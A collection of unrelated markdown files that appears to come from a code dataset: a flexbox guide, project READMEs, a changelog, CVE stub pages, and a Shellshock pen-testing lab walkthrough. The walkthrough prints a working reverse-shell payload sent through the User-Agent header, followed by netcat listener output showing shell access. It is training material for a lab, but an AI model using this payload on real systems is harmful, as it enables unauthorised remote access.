text:
[Source](https://css-tricks.com/snippets/css/a-guide-to-flexbox/ "Permalink to A Complete Guide to Flexbox")

# A Complete Guide to Flexbox

### [Background][1]

The `Flexbox Layout` (Flexible Box) module (currently a W3C Last Call Working Draft) aims at providing a more efficient way to lay out, align and distribute space among items in a container, even when their size is unknown and/or dynamic (thus the word "flex").

The main idea behind the flex layout is to give the container the ability to alter its items' width/height (and order) to best fill the available space (mostly to accommodate to all kind of display devices and screen sizes). A flex container expands items to fill available free space, or shrinks them to prevent overflow.

Most importantly, the flexbox layout is direction-agnostic as opposed to the regular layouts (block which is vertically-based and inline which is horizontally-based). While those work well for pages, they lack flexibility (no pun intended) to support large or complex applications (especially when it comes to orientation changing, resizing, stretching, shrinking, etc.).

**Note:** Flexbox layout is most appropriate to the components of an application, and small-scale layouts, while the [Grid][2] layout is intended for larger scale layouts.

### [Basics & Terminology][3]

Since flexbox is a whole module and not a single property, it involves a lot of things including its whole set of properties. Some of them are meant to be set on the container (parent element, known as "flex container") whereas the others are meant to be set on the children (said "flex items").

If regular layout is based on both block and inline flow directions, the flex layout is based on "flex-flow directions". Please have a look at this figure from the specification, explaining the main idea behind the flex layout.

![][4]

Basically, items will be laid out following either the `main axis` (from `main-start` to `main-end`) or the cross axis (from `cross-start` to `cross-end`).

* **main axis** \- The main axis of a flex container is the primary axis along which flex items are laid out. Beware, it is not necessarily horizontal; it depends on the `flex-direction` property (see below).
* **main-start | main-end** \- The flex items are placed within the container starting from main-start and going to main-end.
* **main size** \- A flex item's width or height, whichever is in the main dimension, is the item's main size. The flex item's main size property is either the 'width' or 'height' property, whichever is in the main dimension.
* **cross axis** \- The axis perpendicular to the main axis is called the cross axis. Its direction depends on the main axis direction.
* **cross-start | cross-end** \- Flex lines are filled with items and placed into the container starting on the cross-start side of the flex container and going toward the cross-end side.
* **cross size** \- The width or height of a flex item, whichever is in the cross dimension, is the item's cross size. The cross size property is whichever of 'width' or 'height' that is in the cross dimension.

![][5]

## Properties for the Parent
(flex container)

#### display

This defines a flex container; inline or block depending on the given value. It enables a flex context for all its direct children.

    .container {
      display: flex; /* or inline-flex */
    }

Note that CSS columns have no effect on a flex container.

#### flex-direction

![][6]
This establishes the main-axis, thus defining the direction flex items are placed in the flex container. Flexbox is (aside from optional wrapping) a single-direction layout concept. Think of flex items as primarily laying out either in horizontal rows or vertical columns.

    .container {
      flex-direction: row | row-reverse | column | column-reverse;
    }

* `row` (default): left to right in `ltr`; right to left in `rtl`
* `row-reverse`: right to left in `ltr`; left to right in `rtl`
* `column`: same as `row` but top to bottom
* `column-reverse`: same as `row-reverse` but bottom to top

#### flex-wrap

![][7]
By default, flex items will all try to fit onto one line. You can change that and allow the items to wrap as needed with this property. Direction also plays a role here, determining the direction new lines are stacked in.

    .container{
      flex-wrap: nowrap | wrap | wrap-reverse;
    }

* `nowrap` (default): single-line / left to right in `ltr`; right to left in `rtl`
* `wrap`: multi-line / left to right in `ltr`; right to left in `rtl`
* `wrap-reverse`: multi-line / right to left in `ltr`; left to right in `rtl`

#### flex-flow (Applies to: parent flex container element)

This is a shorthand `flex-direction` and `flex-wrap` properties, which together define the flex container's main and cross axes. Default is `row nowrap`.

    flex-flow: <'flex-direction'> || <'flex-wrap'>

#### justify-content

![][8]
This defines the alignment along the main axis. It helps distribute extra free space left over when either all the flex items on a line are inflexible, or are flexible but have reached their maximum size. It also exerts some control over the alignment of items when they overflow the line.

    .container {
      justify-content: flex-start | flex-end | center | space-between | space-around;
    }

* `flex-start` (default): items are packed toward the start line
* `flex-end`: items are packed toward to end line
* `center`: items are centered along the line
* `space-between`: items are evenly distributed in the line; first item is on the start line, last item on the end line
* `space-around`: items are evenly distributed in the line with equal space around them. Note that visually the spaces aren't equal, since all the items have equal space on both sides. The first item will have one unit of space against the container edge, but two units of space between the next item because that next item has its own spacing that applies.

#### align-items

![][9]
This defines the default behaviour for how flex items are laid out along the cross axis on the current line. Think of it as the `justify-content` version for the cross-axis (perpendicular to the main-axis).

    .container {
      align-items: flex-start | flex-end | center | baseline | stretch;
    }

* `flex-start`: cross-start margin edge of the items is placed on the cross-start line
* `flex-end`: cross-end margin edge of the items is placed on the cross-end line
* `center`: items are centered in the cross-axis
* `baseline`: items are aligned such as their baselines align
* `stretch` (default): stretch to fill the container (still respect min-width/max-width)

#### align-content

![][10]
This aligns a flex container's lines within when there is extra space in the cross-axis, similar to how `justify-content` aligns individual items within the main-axis.

**Note:** this property has no effect when there is only one line of flex items.

    .container {
      align-content: flex-start | flex-end | center | space-between | space-around | stretch;
    }

* `flex-start`: lines packed to the start of the container
* `flex-end`: lines packed to the end of the container
* `center`: lines packed to the center of the container
* `space-between`: lines evenly distributed; the first line is at the start of the container while the last one is at the end
* `space-around`: lines evenly distributed with equal space around each line
* `stretch` (default): lines stretch to take up the remaining space

![][11]

## Properties for the Children
(flex items)

#### order

![][12]
By default, flex items are laid out in the source order. However, the `order` property controls the order in which they appear in the flex container.

    .item {
      order: <integer>;
    }

#### flex-grow

![][13]
This defines the ability for a flex item to grow if necessary. It accepts a unitless value that serves as a proportion. It dictates what amount of the available space inside the flex container the item should take up.

If all items have `flex-grow` set to 1, the remaining space in the container will be distributed equally to all children. If one of the children has a value of 2, the remaining space would take up twice as much space as the others (or it will try to, at least).

    .item {
      flex-grow: <number>; /* default 0 */
    }

Negative numbers are invalid.

#### flex-shrink

This defines the ability for a flex item to shrink if necessary.

    .item {
      flex-shrink: <number>; /* default 1 */
    }

Negative numbers are invalid.

#### flex-basis

This defines the default size of an element before the remaining space is distributed. It can be a length (e.g. 20%, 5rem, etc.) or a keyword. The `auto` keyword means "look at my width or height property" (which was temporarily done by the `main-size` keyword until deprecated). The `content` keyword means "size it based on the item's content" - this keyword isn't well supported yet, so it's hard to test and harder to know what its brethren `max-content`, `min-content`, and `fit-content` do.

    .item {
      flex-basis: <length> | auto; /* default auto */
    }

If set to `0`, the extra space around content isn't factored in. If set to `auto`, the extra space is distributed based on its `flex-grow` value. [See this graphic.][14]

#### flex

This is the shorthand for `flex-grow,` `flex-shrink` and `flex-basis` combined. The second and third parameters (`flex-shrink` and `flex-basis`) are optional. Default is `0 1 auto`.

    .item {
      flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ]
    }

**It is recommended that you use this shorthand property** rather than set the individual properties. The short hand sets the other values intelligently.

#### align-self

![][15]
This allows the default alignment (or the one specified by `align-items`) to be overridden for individual flex items.

Please see the `align-items` explanation to understand the available values.

    .item {
      align-self: auto | flex-start | flex-end | center | baseline | stretch;
    }

Note that `float`, `clear` and `vertical-align` have no effect on a flex item.

### Examples

Let's start with a very very simple example, solving an almost daily problem: perfect centering. It couldn't be any simpler if you use flexbox.

    .parent {
      display: flex;
      height: 300px; /* Or whatever */
    }

    .child {
      width: 100px;  /* Or whatever */
      height: 100px; /* Or whatever */
      margin: auto;  /* Magic! */
    }

This relies on the fact a margin set to `auto` in a flex container absorb extra space. So setting a vertical margin of `auto` will make the item perfectly centered in both axis.

Now let's use some more properties. Consider a list of 6 items, all with a fixed dimensions in a matter of aesthetics but they could be auto-sized. We want them to be evenly and nicely distributed on the horizontal axis so that when we resize the browser, everything is fine (without media queries!).

    .flex-container {
      /* We first create a flex layout context */
      display: flex;

      /* Then we define the flow direction and if we allow the items to wrap
       * Remember this is the same as:
       * flex-direction: row;
       * flex-wrap: wrap;
       */
      flex-flow: row wrap;

      /* Then we define how is distributed the remaining space */
      justify-content: space-around;
    }

Done. Everything else is just some styling concern. Below is a pen featuring this example. Be sure to go to CodePen and try resizing your windows to see what happens.

See the Pen [Demo Flexbox 1][16] by CSS-Tricks ([@css-tricks][17]) on [CodePen][18].

Let's try something else. Imagine we have a right-aligned navigation on the very top of our website, but we want it to be centered on medium-sized screens and single-columned on small devices. Easy enough.

    /* Large */
    .navigation {
      display: flex;
      flex-flow: row wrap;
      /* This aligns items to the end line on main-axis */
      justify-content: flex-end;
    }

    /* Medium screens */
    @media all and (max-width: 800px) {
      .navigation {
        /* When on medium sized screens, we center it by evenly distributing empty space around items */
        justify-content: space-around;
      }
    }

    /* Small screens */
    @media all and (max-width: 500px) {
      .navigation {
        /* On small screens, we are no longer using row direction but column */
        flex-direction: column;
      }
    }

See the Pen [Demo Flexbox 2][19] by CSS-Tricks ([@css-tricks][17]) on [CodePen][18].

Let's try something even better by playing with flex items flexibility! What about a mobile-first 3-columns layout with full-width header and footer. And independent from source order.

    .wrapper {
      display: flex;
      flex-flow: row wrap;
    }

    /* We tell all items to be 100% width */
    .header, .main, .nav, .aside, .footer {
      flex: 1 100%;
    }

    /* We rely on source order for mobile-first approach
     * in this case:
     * 1. header
     * 2. nav
     * 3. main
     * 4. aside
     * 5. footer
     */

    /* Medium screens */
    @media all and (min-width: 600px) {
      /* We tell both sidebars to share a row */
      .aside { flex: 1 auto; }
    }

    /* Large screens */
    @media all and (min-width: 800px) {
      /* We invert order of first sidebar and main
       * And tell the main element to take twice as much width as the other two sidebars
       */
      .main { flex: 2 0px; }

      .aside-1 { order: 1; }
      .main    { order: 2; }
      .aside-2 { order: 3; }
      .footer  { order: 4; }
    }

See the Pen [Demo Flexbox 3][20] by CSS-Tricks ([@css-tricks][17]) on [CodePen][18].

### [Prefixing Flexbox][21]

Flexbox requires some vendor prefixing to support the most browsers possible. It doesn't just include prepending properties with the vendor prefix, but there are actually entirely different property and value names. This is because the Flexbox spec has changed over time, creating an ["old", "tweener", and "new"][22] versions.

Perhaps the best way to handle this is to write in the new (and final) syntax and run your CSS through [Autoprefixer][23], which handles the fallbacks very well.

Alternatively, here's a Sass @mixin to help with some of the prefixing, which also gives you an idea of what kind of things need to be done:

    @mixin flexbox() {
      display: -webkit-box;
      display: -moz-box;
      display: -ms-flexbox;
      display: -webkit-flex;
      display: flex;
    }

    @mixin flex($values) {
      -webkit-box-flex: $values;
      -moz-box-flex:  $values;
      -webkit-flex:  $values;
      -ms-flex:  $values;
      flex:  $values;
    }

    @mixin order($val) {
      -webkit-box-ordinal-group: $val;
      -moz-box-ordinal-group: $val;
      -ms-flex-order: $val;
      -webkit-order: $val;
      order: $val;
    }

    .wrapper {
      @include flexbox();
    }

    .item {
      @include flex(1 200px);
      @include order(2);
    }

### [Related Properties][24]

### [Other Resources][25]

### [Bugs][26]

Flexbox is certainly not without its bugs. The best collection of them I've seen is Philip Walton and Greg Whitworth's [Flexbugs][27]. It's an open source place to track all of them, so I think it's best to just link to that.

### Browser Support

Broken up by "version" of flexbox:

* (new) means the recent syntax from the specification (e.g. `display: flex;`)
* (tweener) means an odd unofficial syntax from 2011 (e.g. `display: flexbox;`)
* (old) means the old syntax from 2009 (e.g. `display: box;`)

| Chrome        | Safari         | Firefox          | Opera | IE | Android | iOS |
| ------------- | -------------- | ---------------- | ----- | -- | ------- | --- |
| 20- (old)
21+ (new)       | 3.1+ (old)
6.1+ (new)      | 2-21 (old)
22+ (new)       | 12.1+ (new)    | 10 (tweener)
11+ (new)       | 2.1+ (old)
4.4+ (new)      | 3.2+ (old)
7.1+ (new)      |

Blackberry browser 10+ supports the new syntax.

For more informations about how to mix syntaxes in order to get the best browser support, please refer to [this article (CSS-Tricks)][28] or [this article (DevOpera)][29].

[1]: https://css-tricks.com#flexbox-background
[2]: http://css-tricks.com/snippets/css/complete-guide-grid/
[3]: https://css-tricks.com#flexbox-basics
[4]: https://cdn.css-tricks.com/wp-content/uploads/2011/08/flexbox.png
[5]: https://css-tricks.com/wp-content/uploads/2014/05/flex-container.svg
[6]: https://css-tricks.com/wp-content/uploads/2013/04/flex-direction2.svg
[7]: https://css-tricks.com/wp-content/uploads/2014/05/flex-wrap.svg
[8]: https://css-tricks.com/wp-content/uploads/2013/04/justify-content.svg
[9]: https://css-tricks.com/wp-content/uploads/2014/05/align-items.svg
[10]: https://css-tricks.com/wp-content/uploads/2013/04/align-content.svg
[11]: https://css-tricks.com/wp-content/uploads/2014/05/flex-items.svg
[12]: https://css-tricks.com/wp-content/uploads/2013/04/order-2.svg
[13]: https://css-tricks.com/wp-content/uploads/2014/05/flex-grow.svg
[14]: http://www.w3.org/TR/css3-flexbox/images/rel-vs-abs-flex.svg
[15]: https://css-tricks.com/wp-content/uploads/2014/05/align-self.svg
[16]: http://codepen.io/team/css-tricks/pen/EKEYob/
[17]: http://codepen.io/css-tricks
[18]: http://codepen.io
[19]: http://codepen.io/team/css-tricks/pen/YqaKYR/
[20]: http://codepen.io/team/css-tricks/pen/jqzNZq/
[21]: https://css-tricks.com#flexbox-sass
[22]: http://css-tricks.com/old-flexbox-and-new-flexbox/
[23]: http://css-tricks.com/autoprefixer/
[24]: https://css-tricks.com#flexbox-related
[25]: https://css-tricks.com#flexbox-resources
[26]: https://css-tricks.com#flexbox-bugs
[27]: https://github.com/philipwalton/flexbugs
[28]: https://css-tricks.com/using-flexbox/
[29]: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/#fallbacks

  </length></number></number></integer>

repository: ramy-ahmed/grommet-cms

repo_name: ramy-ahmed/grommet-cms


text:
### [CVE-2023-32439](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32439)
![](https://img.shields.io/static/v1?label=Product&message=Safari&color=blue)
![](https://img.shields.io/static/v1?label=Product&message=iOS%20and%20iPadOS&color=blue)
![](https://img.shields.io/static/v1?label=Product&message=macOS&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=unspecified%3C%2013.4%20&color=brighgreen)
![](https://img.shields.io/static/v1?label=Version&message=unspecified%3C%2015.7%20&color=brighgreen)
![](https://img.shields.io/static/v1?label=Version&message=unspecified%3C%2016.5%20&color=brighgreen)
![](https://img.shields.io/static/v1?label=Vulnerability&message=Processing%20maliciously%20crafted%20web%20content%20may%20lead%20to%20arbitrary%20code%20execution.%20Apple%20is%20aware%20of%20a%20report%20that%20this%20issue%20may%20have%20been%20actively%20exploited.&color=brighgreen)

### Description

A type confusion issue was addressed with improved checks. This issue is fixed in iOS 16.5.1 and iPadOS 16.5.1, iOS 15.7.7 and iPadOS 15.7.7, macOS Ventura 13.4.1, Safari 16.5.1. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.

### POC

#### Reference
No PoCs from references.

#### Github
- https://github.com/em1ga3l/cve-msrc-extractor
- https://github.com/home-gihub/w3bkn0t

license: MIT

repository: trickest/cve

branch_name: refs/heads/main

extension: md

gha_language: HTML

gha_license_id: MIT

license_type: permissive

repo_name: trickest/cve


text:
# pafal_reader.pafal_reader.PafalReader

This sensor allows reading out a Pafal 5EC3gr00006 device using a strongly tailored subset of the iec62056 protocol.
It can be used to monitor the by the "smart meter" recoreded exported and imported energy.

## Dependencies

Uses [serial](https://pypi.org/project/pyserial/) to communicate with via the connected serial device

Requires that sensor_reporter has read/write access to the device file used for communication.

A serial connection to the metering device is required (e.g. via a cp210x UART-USB device like
http://wiki.volkszaehler.org/hardware/controllers/ir-schreib-lesekopf-usb-ausgang)

## Parameters

Parameter | Required | Restrictions | Purpose
-|-|-|-
`Class` | X | `energymeter.read_meter_values.Pafal20ec3gr` |
`Connections` | X | dictionary of connectors | Defines where to publish the sensor status for each connection. This sensor has 2 outputs, see below. Look at connection readme's for 'Actuator / sensor relevant parameters' for details.
`Level` | | DEBUG, INFO, WARNING, ERROR | When provided, sets the logging level for the sensor.
`Poll` | X | Positive number in seconds | How often to publish the uptime, must be >= 60.
`SerialDevice` | X | The serial device file to read from

### Outputs
The Pafal20ec3gr has 2 outputs which can be configured within the 'Connections' section (Look at connection readme's for 'Actuator / sensor relevant parameters' for details).

Output | Purpose
-|-
`Import` | Where to publish the imported energy amount to (OBIS 1.8.0).
`Export` | Where to publish the exported energy amount to (OBIS 2.8.0).

## Example Config

```yaml
Logging:
    Syslog: yes
    Level: INFO

Connection1:
    Class: openhab_rest.rest_conn.OpenhabREST
    Name: openHAB
    URL: http://localhost:8080
    RefreshItem: Test_Refresh

SensorPafal:
    Class: energymeter.read_meter_values.Pafal20ec3gr
    Connections:
        openHAB:
            Import:
                Item: Energy_ImportedTotalkWh
            Export:
                Item: Energy_ExportedTotalkWh
    Poll: 60
    SerialDevice: /dev/ttyUSB0
```

# Energy Meter Test script

Using the script `test_pafal.py` one can check for the connection to the energy meter.
```
python3 energymeter/test_pafal.py --port /dev/ttyUSB0
```

repository: rkoshak/sensorReporter

gha_language: Python

repo_name: rkoshak/sensorReporter


text:
# wemake.services

## Company blurb

## Company size

An approximate size of your company. 0-20, 20-50, 50-100, 100-200, etc.

## Remote status

Explain a bit about your remote culture here.

## Region

Is your company open to US-based remote employees only? Other countries? Worldwide? Explain here.

## Company technologies

Insert some of the technologies used in your company here.

## Office Locations

We don't have any offices, but our headquarters is in Moscow, Russia.

## How to apply

branch_name: refs/heads/master


text:
# Nasa Space App Challenge

### What is Sateliverse ?

The idea of Sateliverse is to create a multiplataform application that will bring a friendly graphical interface and will also allow the user so he will be able to navigate throughout a satellites network in order to obtain their informations. The app features contextualizations about the satellites understanding as its daily influence, making the access of the area information more accessible because those are considered too techinical for a clear understading if they would have been presented to the public who is not part of a astronomic context the way they originaly are, in order to deepen the satelittes information about their orbits behaviors, so provinding a ambientation regarding the satelittes features, their aplications, possible positions in a specific timestamp.

### How we use the Nasa datas ?

The API SSC RESTFUL has been used to obtain the informations regarding the satelittes's name, lines 1 and 2. From that, the API resulting data wiil be process by the TLE Satellite which will return a useful information set for the well aplication behavioring, as the approximate location given a time period, trajectory, and velocity.

### Tecnology

1. A-Frame Framework: https://aframe.io/examples/showcase/|anime-UI/
2. Nasa API(REST): https://sscweb.gsfc.nasa.gov/WebServices/REST/
3. Satellite TLE lib tools: https://github.com/davidcalhoun/tle.js/
4. VueJS: https://vuejs.org/

### How run the project ?

Open the directory of project and execute in a terminal:
```bash
    $ npm install
    $ npm start
```

repository: GaloDeTenis/Sateliverse

gha_language: JavaScript

repo_name: GaloDeTenis/Sateliverse


text:
# Introduction

The implementation of [n-readlines](https://github.com/nacholibre/node-readlines) provides an elegant method to read a text file line-by-line.

[n-readlines](https://github.com/nacholibre/node-readlines) might be used as an alternative to the native `readline` interface in `node`.

# Objectives

- Read a text file line-by-line
- Write each line to `console`

# Implementation

```sh
npm install n-readlines --save
# or
yarn add n-readlines
```

```javascript
import LineByLine from 'n-readlines'

const fname = process.argv[2]
const reader = new LineByLine(fname)

let buf

while (buf = reader.next()) {
  console.log(buf.toString('utf8'))
}
```

# References
- [n-readlines](https://github.com/nacholibre/node-readlines)

repository: tools-utils/tutorials

repo_name: tools-utils/tutorials


text:
# EPi.Libraries.Logging.Serilog

[![Build status](https://ci.appveyor.com/api/projects/status/dc0ds3aafwfui3a3/branch/master?svg=true)](https://ci.appveyor.com/project/jstemerdink/epi-libraries-logging-serilog/branch/master)
![GitHub release](https://img.shields.io/github/release/jstemerdink/EPi.Libraries.Logging.Serilog.svg)
[![Platform](https://img.shields.io/badge/platform-.NET%204.6.1-blue.svg?style=flat)](https://msdn.microsoft.com/en-us/library/w0x726c2%28v=vs.110%29.aspx)
[![Platform](https://img.shields.io/badge/EPiServer-%2011.0.0-orange.svg?style=flat)](http://world.episerver.com/cms/)
[![GitHub license](https://img.shields.io/badge/license-MIT%20license-blue.svg?style=flat)](LICENSE)

## NOTE
As from CMS12 you can use configure your logging without the need of a custom provider, see [Optimizely logging](https://world.optimizely.com/documentation/developer-guides/CMS/logging/). For adding Serilog see my [blog](https://jstemerdink.blog/)

## About
This will add Serilog logging to your EPiServer site.
See [Serilog wiki](https://github.com/serilog/serilog/wiki/ for information about Serilog.

You will need a Logger configuration. You can either use my [AppSettings provider](../EPi.Libraries.Logging.Serilog.AppSettings/README.md), so you can configure Serilog in the AppSettings
or you can create your own implementation.

```C#
[ServiceConfiguration(ServiceType = typeof(ILoggerConfigurator), Lifecycle = ServiceInstanceScope.Singleton)]
public class LoggerConfigurator : ILoggerConfigurator
{
    public ILogger GetLogger()
    {
        return your own configuration here;
    }
}
```

> *Powered by ReSharper*
> [![image](https://i0.wp.com/jstemerdink.files.wordpress.com/2017/08/logo_resharper.png)](http://jetbrains.com)

gha_language: C#


text:
# [Vimeo](https://vimeo.com)

Vimeo Provider
Unlock the power of video and join over 200M professionals,
teams, and organizations who use Vi...

## Implementation Details

- Provider
Name: Vimeo
- Documentation: NONE
- HTTPS support: YES
- Fake Response: NO
- Oembed Params: maxwidth , maxheight
- Supported Hosts: vimeo.com
- Responsive response: NO
- Collections: DefaultProviderCollection , SlimProviderCollection

repository: ajunlonglive/Embera

repo_name: ajunlonglive/Embera


text:
This is an Eregansu module which acts as a client to the BBC's [Barlesque](http://www.bbc.co.uk/frameworks/barlesque/) web service.

To use, simply include header.php and footer.php into your templates, either from your own header/footer files, or from your templates directly:

    <?php require($templates_path . 'barlesque/header.php'); ?>

and

    <?php require($templates_path . 'barlesque/footer.php'); ?>

If you wish to customise the Barlesque options, either derive your page class
from BarlesquePage (defined in barlesque/page.php), or include
barlesque/client.php, create an instance of the Barlesque class, set any
options that you require, and substitute it into your template as 'blq'. For
example:

    require_once(MODULES_ROOT . 'barlesque/client.php');

    :
    :

    protected function assignTemplate()
    {
		parent::assignTemplate();
		$this->vars['blq'] = new Barlesque();
		$this->vars['blq']->complaintsLink = true;
    }

Properties can be set using either the Forge/PAL names, or the traditional
SSI parameter names. Boolean values are converted to the correct style of
parameter value (e.g., 'on' versus 'yes' versus 'true' versus '1') as needed.
Setting a property to null causes that parameter to be not passed to the web
service and the server-side default used instead.

For more information, see:

* http://www.bbc.co.uk/frameworks/barlesque

* http://www.bbc.co.uk/frameworks/barlesque/test

repository: nevali/barlesque

repo_name: nevali/barlesque


text:
---
title: 'Google Summer of Code 2017: “Tizonia in Mesa/Gallium“ success story!'
date: 2017-09-03T11:41:10+00:00
author: joni
layout: post
permalink: /2017/09/google-summer-of-code-2017-tizonia-openmax-success/
categories:
  - Linux
  - Multimedia
  - Open Source Software
  - OpenMAX IL
  - Tizonia
  - Uncategorized
---

Congratulations to [Gurkirpal Singh](https://singhcodes.wordpress.com/) for a very successful
GSoC 2017 with the [X.Org
Foundation](https://www.x.org/wiki/XorgFoundation/) with the project:

OpenMAX state tracker in Mesa/Gallium
that uses Tizonia.

For more information on the work produced, see Gurkipal's [end-of-project
report](https://singhcodes.wordpress.com/2017/08/22/gsoc-2017-project-summary-success/). And
for details on the performance improvements generated when using the EGLImage
API, check out Gurkipal's [CPU usage
comparison](https://singhcodes.wordpress.com/2017/08/04/gsoc-2017-third-phase-starts/).

Also, see:
* [Phoronix : OMX Tizonia Gallium3D State Tracker Sent Out For Review](https://www.phoronix.com/scan.php?page=news_item&px=Tizonia-G3D-Patches-For-Review)
* [Google Summer of Code 2017: OpenMAX state tracker in Mesa/Gallium that uses Tizonia]({{ site.baseurl }}{% link _posts/2017-05-05-google-summer-of-code-2017-openmax-state-tracker-in-mesagallium-that-uses-tizonia.md %})


text:
GAE Collerated Logger
===

Collerated request logger for GAE python3 flexible|standard environment

Install
---

from PyPI
```
pip install gaecl
```

from github
```
pip install --user git+https://github.com/takashi8/gaecl
```

Use as WSGI Middleware
---

```python
from gaecl import RequestLoggerMiddleware

app = Flask(__name__)
app = RequestLoggerMiddleware(
    app,
    loglevel='INFO',
    project=os.getenv('GOOGLE_CLOUD_PROJECT'),
    module=os.getenv('GAE_SERVICE'),
    version=os.getenv('GAE_VERSION'),
)

@app.route('/')
def log():
    logging.info('info log')
    logging.warn('warn log')
    logging.error('error log')
    return 'ok'
```

See collerated log on cloud console
---

Choose **app** log on console to show parent log.

You can also see each child log separately by adding **app_child**.

![choose app log](https://user-images.githubusercontent.com/2031193/57907426-5eb8dd80-78b8-11e9-9b82-ac329ea12708.png "Choose app log")

Now your logs in a single request are collerated.

![collerated log](https://user-images.githubusercontent.com/2031193/57907442-68dadc00-78b8-11e9-9066-0fbd43a265ee.png "Collerated log")

Thanks for using
---
If you like this, a star to the [github repo](https://github.com/takashi8/gaecl) encourages me a lot;)


text:
+# shopping-cart

+[Project Description](https://github.com/prof-rossetti/intro-to-python/blob/master/projects/shopping-cart/README.md)
+
+## Installation
+
+Clone or download from [GitHub Source](https://github.com/CZnyu/shopping-cart), then navigate into the project repository:
+
+```sh
+cd shopping-cart
+```
+
+## Usage
+
+Run the program:
+
+```py
+python shopping_cart.py
+```

repository: CZnyu/shopping-cart

repo_name: CZnyu/shopping-cart


text:
# Pixiv plugin for Muzei
[![FOSSA Status](https://app.fossa.io/api/projects/git%2Bgithub.com%2Ffeilongfl%2Fmuzei-pixivtop.svg?type=shield)](https://app.fossa.io/projects/git%2Bgithub.com%2Ffeilongfl%2Fmuzei-pixivtop?ref=badge_shield)

> special thanks for https://pixivic.com/

![](https://travis-ci.org/feilongfl/muzei-pixivtop.svg?branch=master)

## screenshots
![](./docs/screenshots_1.jpg)

## known bugs
> Due to interface issues, the following issues are temporarily unresolved:
1. A load failure image will appear.
2. Comics will appear.

## License
[![FOSSA Status](https://app.fossa.io/api/projects/git%2Bgithub.com%2Ffeilongfl%2Fmuzei-pixivtop.svg?type=large)](https://app.fossa.io/projects/git%2Bgithub.com%2Ffeilongfl%2Fmuzei-pixivtop?ref=badge_large)

repository: fossabot/muzei-pixivtop

repo_name: fossabot/muzei-pixivtop


text:
# css-core
CSS-Core is a set of rules, standards and methodology. It sets the architecture you will follow for having **scalable design system**. It will not style your site, but it will lead you, how to style it.

It follows components orientated development, has very low specifity, use REM units, simple grid, _BEM and OOCSS methodology and contains small tools, I've written during my career and find them useful.

The whole concept of utility classes driven UI is transformed into *_general-classes.scss* file. Architecture of CSS-core is prepared to handle multiple themes by dividing code of each component to its base part (behaviour) and its styles parts. As using utility classes could lead to multiple class reference, I encourage to use brackets, [ class1 class2 ], to divide groups with the same meaning on the HTML elements.

CSS-Core contains .scss source maps for development and livereload for view after any change is saved. This is supposed to be a kick-starter package, you can base on, for any new project and immediately benefit from set concept and standards.

# css-core installation
1. npm install
2. npm install grunt -g && npm install grunt-cli -g
3.  - 'grunt prod' for production
    - 'grunt dev' for development
    - 'grunt server' for serving to localhost:9001

repository: juraj-bachleda/css-core

gha_language: CSS

repo_name: juraj-bachleda/css-core


text:
# Change Log

All notable changes to this project will be documented in this file.
See [Conventional Commits](https://conventionalcommits.org) for commit guidelines.

## [0.1.1](https://github.com/ionic-team/capacitor-plugins/compare/@capacitor/geolocation@0.1.0<EMAIL_ADDRESS>(2020-12-27)

**Note:** Version bump only for package @capacitor/geolocation

# 0.1.0 (2020-12-20)

### Bug Fixes

* support deprecated types from Capacitor 2 ([#139](https://github.com/ionic-team/capacitor-plugins/issues/139)) ([2d7127a](https://github.com/ionic-team/capacitor-plugins/commit/2d7127a488e26f0287951921a6db47c49d817336))

### Features

* Geolocation plugin ([#13](https://github.com/ionic-team/capacitor-plugins/issues/13)) ([911ae71](https://github.com/ionic-team/capacitor-plugins/commit/911ae71e6aef4cfa9fb3ab5b0c13f3c06ef6b15c))


text:
### [CVE-2018-16364](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16364)
![](https://img.shields.io/static/v1?label=Product&message=n%2Fa&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=n%2Fa&color=blue)
![](https://img.shields.io/static/v1?label=Vulnerability&message=n%2Fa&color=brighgreen)

### Description

A serialization vulnerability in Zoho ManageEngine Applications Manager before build 13740 allows for remote code execution on Windows via a payload on an SMB share.

### POC

#### Reference
- https://blog.jamesotten.com/post/applications-manager-rce/

#### Github
No PoCs found on GitHub currently.


text:
---
layout: blog_item
title:  "Pen Testers Lab: Shellshock CVE-2014-6271 - Walkthrough"
date:   2014-09-30 10:00:10
author: Arr0way
description: 'Shellshock CVE-2014-6271 Pen Testers Lab - Walkthrough'
categories: [walkthroughs]
tags:
- CTF
---

Coffee Difficulty Rating:

* list element with functor item
{:toc}

## Author Description

This course details the exploitation of the vulnerability **CVE-2014-6271** AKA **Shellshock**. This vulnerability impacts the Bourne Again Shell "Bash". Bash is not usually available through a web application but can be indirectly exposed through a Common Gateway Interface "CGI".

**Author:** PentesterLab

**Download:** [VulnHub](https://www.vulnhub.com)

This is not a challenge VM

This VM is part of the exercises provided by PenTestersLab.com, it's not a challenge VM (there is no flag to capture).

## Host Enumeration

### Port Scanning

{% highlight bash %}

nmap -v -p 1-65535 -sV -O -sT <IP_ADDRESS>

{% endhighlight %}

### Service Enumeration

      Port
      Service
      Version Detection

               <pc>
TCP: 22
</pc>

               <pc>
SSH
</pc>

               <pc>
OpenSSH 6.0 (protocol 2.0)
</pc>

               <pc>
TCP: 80
</pc>

              <pc>
HTTP
</pc>

               <pc>
Apache httpd 2.2.21 ((Unix) DAV/2)
</pc>

## Website Inspection

Inspection of Squid using the metasploit module auxiliary/scanner/http/squid_pivot_scanning discovered port 80 was exposed via the proxy.

![Shellshock Burp Suite](/img/blog/pentesterslab/shellshock/shellshock-burp.png)

## Burp Suite - Send Reverse Shellshock

Burp Suite was used to manipulate the User Agent: and deliver the following payload:

{% highlight bash %}

() { ignored;};/bin/bash -i >& /dev/tcp/<IP_ADDRESS>/443 0>&1

{% endhighlight %}

![Burp Suite Shellshock Payload](/img/blog/pentesterslab/shellshock/shellshock-payload-burp.png)

## Reverse Shell

Successfully connecting to the listening netcat instance:

{% highlight bash %}
[root:~]# nc.traditional -lp 443 -vvv
listening on [any] 443 ...
<IP_ADDRESS>: inverse host lookup failed: Unknown host
connect to [<IP_ADDRESS>] from (UNKNOWN) [<IP_ADDRESS>] 44254
bash: no job control in this shell
bash-4.2$ id
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

{% endhighlight %}

End of exercise.

Thanks for the VM :)


text:
## Facemask detection with Deeplearning and OpenCV

In this project, I have conducted several methods as below:
